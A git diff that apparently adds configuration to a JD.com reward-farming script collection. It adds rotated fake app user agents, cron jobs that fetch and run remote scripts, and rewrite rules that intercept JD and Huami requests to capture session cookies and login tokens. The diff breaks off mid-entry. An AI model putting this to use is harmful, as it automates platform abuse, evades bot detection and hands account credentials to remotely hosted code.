'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT,HelloWorld: true +} diff --git a/Loon/LoonTask.conf b/Loon/LoonTask.conf new file mode 100644 index 0000000000..1014087a36 --- /dev/null +++ b/Loon/LoonTask.conf @@ -0,0 +1,206 @@ +hostname = me-api.jd.com, draw.jdfcloud.com, jdjoy.jd.com, account.huami.com, api.m.jd.com + +# 京东资产变动通知 +cron "2 9 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bean_change.js, tag=京东资产变动通知 + +# 领京豆额外奖励 +cron "10 7 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bean_home.js, tag=领京豆额外奖励 + +# 省钱大赢家之翻翻乐 +cron "20 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_big_winner.js,tag=省钱大赢家之翻翻乐 + +# 东东超市兑换奖品 +cron "0 0 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_blueCoin.js,tag=东东超市兑换奖品 + +# 口袋书店 +cron "1 8,12,18 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bookshop.js,tag=口袋书店 + +# 京东汽车 +cron "10 7 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_car.js, tag=京东汽车 + +# 京东汽车兑换 +cron "0 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_car_exchange.js, tag=京东汽车兑换 + +# 签到领现金 +cron "2 0-23/4 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_cash.js,tag=签到领现金 + +# 京喜财富岛 +cron "5 8,13,19 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_cfd.js,tag=京喜财富岛 + +# 摇京豆 +cron "5 0,23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_club_lottery.js,tag=摇京豆 + +# crazyJoy任务 +cron "10 9 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy.js,tag=crazyJoy任务 + +# 监控crazyJoy分红 +cron "10 12 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy_bonus.js,tag=监控crazyJoy分红 + +# crazyJoy挂机 +cron "10 1,12 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy_coin.js,tag=crazyJoy挂机 + +# 天天提鹅 +cron "10 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_daily_egg.js,tag=天天提鹅 + +# 小鸽有礼-每日抽奖 +cron "13 1,22,23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_daily_lottery.js, tag=每日抽奖 + +# 京喜工厂 +cron "10 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory.js,tag=京喜工厂 +cron "10 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js,tag=京喜工厂助力 + +# 获取多账号京东Cookie +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/JD_extra_cookie.js, tag=获取多账号京东Cookie + +# 京东家庭号 +cron "1 12,23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_family.js,tag=京东家庭号 + +# 东东农场 +cron "5 6-18/6 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_fruit.js,tag=东东农场 + +# 获取互助码 +cron "20 13 * * 6" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_get_share_code.js, tag=获取互助码 + +# 金榜创造营 +cron "13 1,22 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_gold_creator.js, tag=金榜创造营 + +# 东东健康社区 +cron "13 1,6,22 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_health.js, tag=东东健康社区 + +# 东东健康社区收集能量收集 +cron "5-45/20 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_health_collect.js, tag=东东健康社区收集能量 + +# 东东工厂 +cron "10 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jdfactory.js,tag=东东工厂 + +# 京东赚赚 +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jdzz.js,tag=京东赚赚 + +# 领金贴 +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jin_tie.js,tag=领金贴 + +# 宠汪汪 +cron "15 0-23/2 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy.js,tag=京东宠汪汪 + +# 宠汪汪🐕喂食 +cron "15 0-23/1 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_feedPets.js,tag=京东宠汪汪喂食 + +# 宠汪汪强制为别人助力 +http-request ^https:\/\/draw\.jdfcloud\.com\/\/common\/pet\/enterRoom\/h5\?invitePin=.*(&inviteSource=task_invite&shareSource=\w+&inviteTimeStamp=\d+&openId=\w+)?&reqSource=weapp|^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/pet\/helpFriend\?friendPin script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_help.js, requires-body=true, timeout=3600, tag=宠汪汪强制为别人助力 + +# 宠汪汪积分兑换奖品 +cron "0 0-16/8 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_reward.js,tag=宠汪汪积分兑换奖品 + +# 宠汪汪赛跑 +cron "15 10 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力 + +# 宠汪汪助力更新Token +http-response ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js, requires-body=true, timeout=10, tag=宠汪汪助力更新Token + +# 宠汪汪助力获取Token +http-request ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js, timeout=3600, tag=宠汪汪助力获取Token + +# 宠汪汪偷好友积分与狗粮 +cron "10 0-21/3 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_steal.js,tag=宠汪汪偷好友积分与狗粮 + +# 跳跳乐瓜分京豆 +cron "1 0,11,21 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jump.js, tag=跳跳乐瓜分京豆 + +# 京喜领88元红包 +cron "4 10 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxlhb.js,tag=京喜领88元红包 + +# 惊喜牧场 +cron "20 0-23/3 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxmc.js,tag=惊喜牧场 + +# 京喜农场 +cron "0 9,12,18 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxnc.js,tag=京喜农场 + +# 京东快递签到 +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_kd.js, tag=京东快递签到 + +# 京东直播 +cron "10-20/5 12 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_live.js,tag=京东直播 + +# 超级直播间红包雨 +cron "0,30 0-23/1 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_live_redrain.js,tag=超级直播间红包雨 + +# 幸运大转盘 +cron "4 10 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_market_lottery.js,tag=幸运大转盘 + +# 新潮品牌狂欢 +cron "4 10 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_mcxhd.js,tag=新潮品牌狂欢 + +# 5G超级盲盒 +cron "0 0,1-23/3 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_mohe.js,tag=5G超级盲盒 + +# 京东摇钱树 +cron "3 0-23/2 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_moneyTree.js,tag=京东摇钱树 + +# 京东秒秒币 +cron "10 7 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_ms.js,tag=京东秒秒币 + +# 点点券 +cron "10 0,20 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_necklace.js,tag=点点券 + +# 女装盲盒抽京豆 +cron "35 1,23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_nzmh.js,tag=女装盲盒 + +# 东东萌宠 +cron "15 6-18/6 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_pet.js,tag=东东萌宠 + +# 金融养猪 +cron "12 0-23/6 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_pigPet.js, tag=京东金融养猪猪 + +# 京东种豆得豆 +cron "1 7-21/2 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_plantBean.js,tag=京东种豆得豆 + +# 京东保价 +cron "0 2 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_price.js,tag=京东保价 + +# 京东全民开红包 +cron "1 1,2,23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_redPacket.js, tag=京东全民开红包 + +# 闪购盲盒 +cron "20 8 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_sgmh.js, tag=闪购盲盒 + +# 进店领豆 +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_shop.js,tag=进店领豆 + +# 东东小窝 +cron "16 22 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_small_home.js, tag=东东小窝 + +# ✈️天天加速 +cron "8 0-23/3 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed.js,tag=京东天天加速 + +# 京东极速版红包 +cron "20 0,22 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed_redpocke.js,tag=京东极速版红包 + +# 京东极速版 +cron "0 7 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed_sign.js,tag=京东极速版 + +# 明星小店 +cron "0 1,21 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_star_shop.js,tag=明星小店 + +# 东东超市 +cron "11 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_superMarket.js,tag=东东超市 + +# 赚京豆 +cron "10 0,7,23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_syj.js, tag=赚京豆 + +# 取关京东店铺和商品 +cron "55 23 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_unsubscribe.js,tag=取关京东店铺商品 + +# 家电星推官 +cron "0 0 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_xtg.js,tag=家电星推官 + +# 家电星推官好友互助 +cron "0 0 0 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_xtg_help.js,tag=家电星推官好友互助 + +# 小米运动 +cron "15 17 * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/backUp/xmSports.js, tag=小米运动 + +# 小米运动获取Token +http-response ^https:\/\/account\.huami\.com\/v2\/client\/login script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/backUp/xmSports.js, requires-body=true, timeout=3600, tag=小米运动获取Token + +# jd_appopen +http-request ^https:\/\/api\.m\.jd\.com\/openUpgrade script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/utils/jd_appopen.js, tag=jd_appopen diff --git a/QuantumultX/cookies.conf b/QuantumultX/cookies.conf new file mode 100644 index 0000000000..0d5c872cb8 --- /dev/null +++ b/QuantumultX/cookies.conf @@ -0,0 +1,19 @@ +hostname = draw.jdfcloud.com, jdjoy.jd.com, account.huami.com, me-api.jd.com, api.m.jd.com + +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/JD_extra_cookie.js + +# 宠汪汪强制为别人助力 +^https:\/\/draw\.jdfcloud\.com\/\/common\/pet\/enterRoom\/h5\?invitePin=.*(&inviteSource=task_invite&shareSource=\w+&inviteTimeStamp=\d+&openId=\w+)?&reqSource=weapp|^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/pet\/helpFriend\?friendPin url script-request-header https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_help.js + +# 宠汪汪赛跑 +^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= url script-response-body https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js + +# 宠汪汪赛跑 +^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= url script-request-header https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js + +# 小米运动 +^https:\/\/account\.huami\.com\/v2\/client\/login url script-response-body https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/backUp/xmSports.js + +# jd_appopen +^https:\/\/api\.m\.jd\.com\/openUpgrade url script-request-header https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/utils/jd_appopen.js diff --git a/QuantumultX/gallery.json b/QuantumultX/gallery.json new file mode 100644 index 0000000000..ad9cf49278 --- /dev/null +++ b/QuantumultX/gallery.json @@ -0,0 +1,68 @@ +{ + "name": "task gallery", + "description": "", + "task": [ + {"config":"2 9 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bean_change.js, tag=京东资产变动通知, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 7 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bean_home.js, tag=领京豆额外奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_bean_home.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"20 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_big_winner.js, tag=省钱大赢家之翻翻乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 0 0 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"1 8,12,18 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bookshop.js, tag=口袋书店, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 7 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_car.js, tag=京东汽车, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 0 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_car_exchange.js, tag=京东汽车兑换, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"2 0-23/4 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"5 8,13,19 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"5 0,23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 9 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy.js, tag=crazyJoy任务, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_crazy_joy.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 12 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy_bonus.js, tag=监控crazyJoy分红, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_crazy_joy.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 1,12 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy_coin.js, tag=crazyJoy挂机, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_crazy_joy.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_daily_egg.js, tag=天天提鹅, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdte.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"13 1,22,23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_daily_lottery.js, tag=每日抽奖, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory.js, tag=京喜工厂, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js, tag=京喜工厂助力, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"1 12,23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_family.js, tag=京东家庭号, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_family.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"5 6-18/6 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"20 13 * * 6 https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_get_share_code.js, tag=获取互助码, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"13 1,22 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"13 1,6,22 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"5-45/20 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_health_collect.js, tag=东东健康社区收集能量, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jin_tie.js, tag=领金贴, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"15 0-23/2 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy.js, tag=京东宠汪汪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"15 0-23/1 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_feedPets.js, tag=京东宠汪汪喂食, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 0-16/8 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_reward.js, tag=宠汪汪积分兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"15 10 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0-21/3 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_steal.js, tag=宠汪汪偷好友积分与狗粮, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"1 0,11,21 * * * 